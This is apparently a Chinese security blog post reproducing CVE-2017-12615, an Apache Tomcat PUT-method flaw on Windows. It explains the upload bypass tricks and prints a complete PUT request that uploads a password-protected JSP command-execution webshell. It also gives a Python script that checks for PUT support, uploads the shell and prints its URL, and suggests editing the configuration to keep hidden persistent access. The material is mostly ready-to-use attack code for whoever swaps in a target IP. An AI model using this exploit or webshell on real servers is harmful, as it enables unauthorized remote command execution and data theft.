漏洞分析参考
https://www.freebuf.com/vuls/148283.html
漏洞描述:
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
影响版本
tomcat7.0.0-7.0.81
我找了很多文章,都是影响只有tomcat7.0.0-7.0.81,其实不然,从5.x到9.x都存在这个漏洞
复现用的版本也是tomcat8.5版本
当我们想要上传一个jsp木马的时候却发现报了一个405的错误
查阅资料发现,原来default servlet只能处理静态文件,而处理jsp文件是jspservlet,但是只有defaultservlet有PUT上传逻辑,解决的办法是通过构造特殊的后缀名来进行绕过,从而上传jsp木马。
经过验证,可以在文件名后面添加斜杠 / 来进行绕过

前提条件
1.Windows 环境
Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
2.readonly 初始化参数由默认值设置为 false
是不是感觉这个漏洞很鸡肋,还得修改配置文件后才能利用。。。傻子才能去修改呢,那么我们换个思路,如果是用来权限维持呢?不留shell,修改配置文件,是不是很难被发现?
环境搭建
https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
搭建完成,访问ip:8080 端口
漏洞复现 参考
https://www.cnblogs.com/Oran9e/p/8073562.html
1.抓包发送poc即可
上传绕过
1.文件名后面添加斜杠 / 来进行绕过,由于Tomcat存在去掉最后的 / 的特性,此方法影响所有的Apache Tomcat 版本
2.NTFS文件系统::$DATA特性绕过(文件上传也可以尝试)
返回201说明上传成功了,那么来访问
目标ip:8080/test.jsp?&pwd=023&cmd=id
成功执行命令 下面我把整个数据包复制一下,只需要替换目标ip即可
PUT /est.jsp%20 HTTP/1.1 Host: 47.101.193.196:8080 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=4D349144971514E9A26D19503AD1232A Connection: close Content-Length: 660 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
其实也可以用python脚本,参考这篇文章
https://www.jianshu.com/p/f78696043a74
#! -*- coding:utf-8 -*- import httplib import sys import time body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>''' try: conn = httplib.HTTPConnection(sys.argv[1]) conn.request(method='OPTIONS', url='/ffffzz') headers = dict(conn.getresponse().getheaders()) if 'allow' in headers and headers['allow'].find('PUT') > 0 : conn.close() conn = httplib.HTTPConnection(sys.argv[1]) url = "/" + str(int(time.time()))+'.jsp/' #url = "/" + str(int(time.time()))+'.jsp::$DATA' conn.request( method='PUT', url= url, body=body) res = conn.getresponse() if res.status == 201 : #print 'shell:', 'http://' + sys.argv[1] + url[:-7] print 'shell:', 'http://' + sys.argv[1] + url[:-1] elif res.status == 204 : print 'file exists' else: print 'error' conn.close() else: print 'Server not vulnerable' except Exception,e: print 'Error:', e
用法
python CVE-2017-12615.py 目标ip
http://目标ip:8080/1586878868.jsp?&pwd=023&cmd=id